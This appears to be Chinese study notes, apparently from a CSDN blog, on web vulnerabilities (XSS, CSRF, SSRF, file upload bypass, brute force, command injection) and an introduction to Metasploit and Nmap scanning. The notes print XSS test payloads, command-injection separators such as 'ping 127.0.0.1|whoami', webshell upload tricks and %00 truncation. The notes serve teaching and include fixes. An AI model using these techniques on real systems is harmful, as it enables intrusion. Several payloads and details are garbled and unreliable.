反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
2.存储型XSS
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
例如,恶意攻击者在留言板中加入以下代码:<script>alert(/hacker by hacker/)</script>.
当其他用户访问留言板时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存链型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。
3.DOM型XSS
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构—节点树。通过 HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。
在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从面修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在漏洞。
4.4.3 反射型XSS攻击 页面http://192.168.1.101/xss/xss1.php实现的功能是在“输入”表单中输入内容,单击“提交”后,将输入内容放到“输出”表单中,当访问页面时,看到输入的双引号闭合了value属性的双引号,输入的>闭合了input标签的<,导致输入的<img src=1 οnerrοr= alert(/xss/)/>变成了HTML标签。接下来,在浏览器渲染时,执行了<img src=1 οnerrοr= alert(/xss/)/>,JS函数alert()导致浏览器弹框,显示“/xss/”。
4.4.4存储型XSS攻击 存储型XSS页面实现的功能是:获取用户输入的留言信息、标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。
4.4.5 DOM型XSS攻击
DOM型XSS攻击页面实现的功能是在“输入”框中输入信息,单击“替换”按纽时、页面会将这里会显示输入的内容”替换为输入的信息、例如当输入“11”的时候,页面将“这里会显示输入的内容”替换为“11”。
当输入< img src=1 οnerrοr=alert(/xsss/)>时,单击“替换”按钮,页面弹出消息框。从HTML源码中可看到,存在JS函数tihuan(),该函数的作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。
4.5 XSS进阶 4.5.1 XSS常用语句及编码绕过 XSS常用的测试语句有:
<script>alert(1)</scripd
<ing src-x onerror-alert(1)><svg onload-alert(1)>
<a href-javascriptalert(1)>
常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码
1.JS 编码
JS提供了四种字符编码的策略,如下所示:
三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。 两个十六进制数字,如果个数不够,在前面补0.例如”e”的编码为“x65”。 四个十六进制数字,如果个数不够。在前面补0.例如””e”的编码为u0065”。 对于一些控制字符,使用特殊的C类型的转义风格(例如n和r)。 2.HTML实体编码
实体命名:以&开头,以分号结尾。
字符编码:十进制、十六进制ASCLL码或Unicode字符编码,样式为“&#数值;”。
3.URL编码
这里的URL编码,也是两次URL全编码的结果。结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34.
在使用XSS编码测试时,需要考虑HTML渲染的顺序。
4.5.2 使用XSS平台测试XSS漏洞 首先在XSS平台注册账号并登录,单机“我的项目”中的“创建”按钮,勾选“默认模块”后,单击下一步,根据HTML源码选择合适的利用代码,以此构建浏览器能够执行的代码,将利用代码插入到存在XSS漏洞的URL后,查看源代码。
4.5.3 XSS漏洞修复建议 因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。
(1)过滤输入的数据,包括“,”“””“<”“>”“on*”等非法字符。
(2)对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。
4.6 CSRF漏洞 4.6.1 介绍CSRF漏洞 CSRF(跨站请求伪造)是一种对网站的恶意利用。与XSS相比,CSRF攻击往往不大流行,但也更难防范,所以相较于更具危险性。
4.6.2 CSRF漏洞的原理 CSRF:攻击者利用目标用户的身份,以用户的名义执行某些非法操作。
它能做的事包括:一目标用户的身份发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,所以会泄露个人隐私并威胁到了目标用户的财产安全。
CSRF的攻击过程有两个重点:
目标用户已经登陆了网站,能够执行网站的功能。 目标用户访问了攻击者构造的URL。 4.6.3 利用CSRF漏洞 CSRF漏洞经常内用来制作蠕虫攻击、刷SEO流量等。
4.6.4 分析CSRF漏洞代码 下面的代码是后台添加用户的代码,执行流程如下:
(1)获取GET参数username和参数password,然后通过select语句查询是否存在对应的用户,若用户存在,会通过$_SESSION设置一个session:isadmin=admin,否则设置session: isadmin=guest。
(2)接下来判断session中的isadmin是否为admin,如果isadmin!=admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。
(3)获取POST参数username和参数password,然后插入users表中,完成添加用户的操作。
当管理员访问了攻击者构造的CSRF页面后,会自动创建一个账号。
4.7 SSRF漏洞 4.7.1 介绍SSRF漏洞 SSRF(服务器端请求伪造)是一种由攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。
4.7.2 SSRF漏洞原理 SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过过滤与限制。
主要攻击方式如下:
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。 攻击运行在内网或本地的应用程序。 对内网Web应用进行指纹识别,识别企业内部的资产信息。 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击。 利用file协议读取本地文件等。 4.7.3 SSRF漏洞利用 SSRF漏洞利用的测试地址:
http://127.0.0.1/ssrf.php?url-http://127.0.0.1/2.php.
页面ssrf.php实现的功能是获取GET参数URL,然后将URL的内容返回网页上。如果将请求的网址算改为http://wwwbaidu.com,则页面会显示http://www.baidu.com的网页内容.但是,当设置参数URL为内网地址时,则会泄露内网信息。
4.7.4 SSRF漏洞修复建议 针对SSRF漏洞的修复:
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。 限制不能访问内网的IP,以防止对内网进行攻击。 屏蔽返回的详细信息。 4.8 文件上传 4.8.1 有关文件上传的知识 1、 为什么文件上传存在漏洞
上传文件时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
2、危害
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门, WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
4.8.2 JS检测绕过攻击 JS检测绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。
这时有两种方法可以绕过客户端JavaScript的检测:
使用浏览器的插件,删除检测文件后缀的JS代码,然后上传文件即可绕过。 首先把需要上传文件的后缀改成允许上传的,如jpg、png等,绕过JS的检测,在抓包,把后缀名改成可执行文件的后缀即可上传成功。 4.8.3 文件后绕过攻击 文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,若配置有以下代码,则可解析php和phtml文件:
AddType application/x-httpd-php.php.phtml
所以,可以上传一个后缀为phtml的WebShell。
4.8.4 文件类型绕过攻击 在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值与上传jpg格式的文件时,数据包中的Content-Type不同,如果服务端代码是通过Content-Type的值来判断文件类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户机传递的,可以任意修改。
4.8.5 文件截断绕过文件 截断类型:PHP%00截断。
截断原理:由于00代表结束符,所以会把00后面的所有字符删除。
截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。
4.9命令执行 1.介绍 暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小
场景1:账户检测 场景2:指定口令爆破用户名 场景3:密码爆破 1.自定义密码2.厂商特色口令生成3.加密密码暴力破解4.弱文件的后台爆破5.webshell密码爆破6.辅助功能 场景4:登录验证码爆破 1.验证码绕过2.简单验证码识别3.高模糊度验证码识别 场景5:短信邮箱验证码爆破 场景6:短信邮箱验证码爆破 1.关键参数遍历2.批量注册 3.一套组合拳(也可关联爬虫) 场景7:爆破关联 1.数据重放-短信炸弹2.数据重放-邮箱炸弹 3.子域名爆破4.子目录,弱文件爆破 针对暴力破解漏洞的修复,笔者给出以下两点建议
如果用户登录次数超过设置的阀值,则锁定账号。 如果某个IP登录次数超过设置的阀值,则锁定IP 锁定IP存在的问题是:如果多个用户使用同一个IP,则会造成其他用户也不能登录
2.介绍命令执行漏洞 命令执行漏洞应用有时需要调用一些执行系统命令的函数,如PHP 中的system、exec、shell_exec、passthru、popen、 proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意 系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令 执行漏洞。简单来说就是:”靠执行脚本代码调用操作系统命令“
下面展示了常用的管道符
Windows系例支持的管道符
“|”:直接执行后面的语句。例如:ping127.0.0.1|whoami “”:如果前面执行的语句执行出错,则执行后面的语句,前面的语 能为假。例如:ping2/whoami。 “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假, 例如:ping127.0.0.1&whoami。 “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面语句只能为真。例如:ping127.0.0.1&&whoami。 Linux系统支持的管道符
“;”:执行完前面的语句再执行后面的。例如:ping127.0.0.1;whoami。 “|”:显示后面语句的执行结果。例如:ping127.0.0.1|whoami。 “Ⅱ”:当前面的语句执行出错时,执行后面的语句。例如:ping1whoami。 “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 如:ping 127.0.0.1&whoami。 “&&”;如果前面的语句为假则直接出错,也不执行后面的,前面的语句 为真。例如:ping127.0.0.1&&whoami。 ·shell命令拼接
& &A,表示将命令A放入后台运行 && A&&B,表示A命令语句执行成功,然后执行B命令语句 | A|B,表示A命令语句的输出,作为B命令语句的输入执行 || A||B,表示A命令语句执行失败,然后才执行B命令语句 ; 适用于Linux服务器,命令按照顺序(从左到右)被执行
———————————————— 版权声明:本文为CSDN博主「jxy191021」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/jxy191021/article/details/123923476
第五章 Metasploit技术 5.1 Metasploit简介 本章中示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行工具的第三方工具。Kali系统的下载地址为http://www.kali.org/downloads/。
Metasploit框架( Metasploit Framework,MsF)旨在方便渗透测试,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、Web、CLD)。Metasploit还有第三方程序的接口,例如Nmap、SQLMAP等,可以直接在控制台接口里使用,要访问该界面,需要在命令行下输入msfconsole,MSF的启动界面如图5-1所示。
知识点:在使用Kali操作系统时应注意及时更新源,就像平时要及时更新手机Ap个道理。更新命令有 apt-get update、 apt-get upgrade和 lapt-get dist-upgrade。
apt- get update:只更新软件包的索引源,作用是同步源的软件包的素引信息,从而进行软件更新。
oapt- get upgrade:升级系统上安装的所有软件包,若更新失败,所涉及的包会保持更新之前的状态
apt- get dist-upgrade:升级整个 Linux系统,例如从 Kali Linux1.0.1升级到Kali,Linux1.0.2(不仅能够升级所有已安装的软件包,而且会处理升级过程中可能出现的软件冲突。某些情况下,它的部分升级过程需要人工参与)。
5.2 Metasploit基础 5.2.1专业术语 MSF框架由多个模块组成,各个模块及其具体的功能如下。
1、 Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、探、指纹识别等相关功能以辅助渗透测试。
2. Exploit(漏洞利用模块)
漏洞利用是指由透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流的透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
3.Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被滲透攻击之后完成实际攻击功能的代码,成功滲透目标后用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit框架中可以自由地选择传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
4.Post(后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
5. Encoders(编码工具模块)
该模块在滲透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
5.2.2渗透攻击步骤 大致步骤如下:
扫描目标及系统,寻找可用漏洞。 选择并配置一个漏洞的利用模块。 选择并配置一个攻击载荷模块。 选择一个编码技术,用来绕过杀毒软件的查杀。 渗透攻击。 5.3 主机扫描 扫描和收集信息时渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取信息越多,渗透概率越大。主要关注点是目标机器IP地址、可用服务、开放端口等。
5.3.1使用辅助模块进行端口扫描 辅助模块是Metasploit的内置模块,首先利用search命令搜索有哪些可用端口模块。
图中所示扫描类型中,以TCP扫描模块举例。
输入use命令即可使用该漏洞利用模块,使用show options命令查看需要设置的参数,如图5-3.
在Required列中,被标记为yes的参数必须包含实际的值,其中RHOSTS设置待扫描的IP地址、PORTS设置扫描端口范围、THREADS设置扫描线程,线程数量越高,扫描的速度越多。使用set命令设置相应的参数,也可以使用unset命令取消 某个参数值的设置。如图5-4所示。
目标机器开了139、135、445三个端口。
知识点:其实还有两条可选命令--setg命令和unsetg命令。二者用于在 msfconsole中设置或者取消设置全局性的参数值,从而避免重复输入相同的值
5.3.2使用辅助模块进行服务扫描 在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如 VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。
通过search命令搜索scanner可以发现大量的扫描模块,建议读者多尝试不同的辅助扫描模块,了解其用法。使用的步骤与使用端口扫描模块时的基本相同,这里就不演示了,附上一些常用的扫描模块。
5.3.3使用Nmap扫描 Nmap不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握可以极大提高个人的渗透测试技术。
实际使用时,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表,如图5-5所示。
现在我们要获取目标主机的操作系统,输入nmap-O-Pn/-p0 URI命令,其中 Pn和-p0(数字0)参数的意思是不使用ping的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现,如图5-6所示。
可以看到目标主机的操作系统是Windows 2021|7|8.1。
5.4漏洞利用 每个操作系统都会存在各种Bug。没用公布补丁的Bug就是所谓的0day漏洞。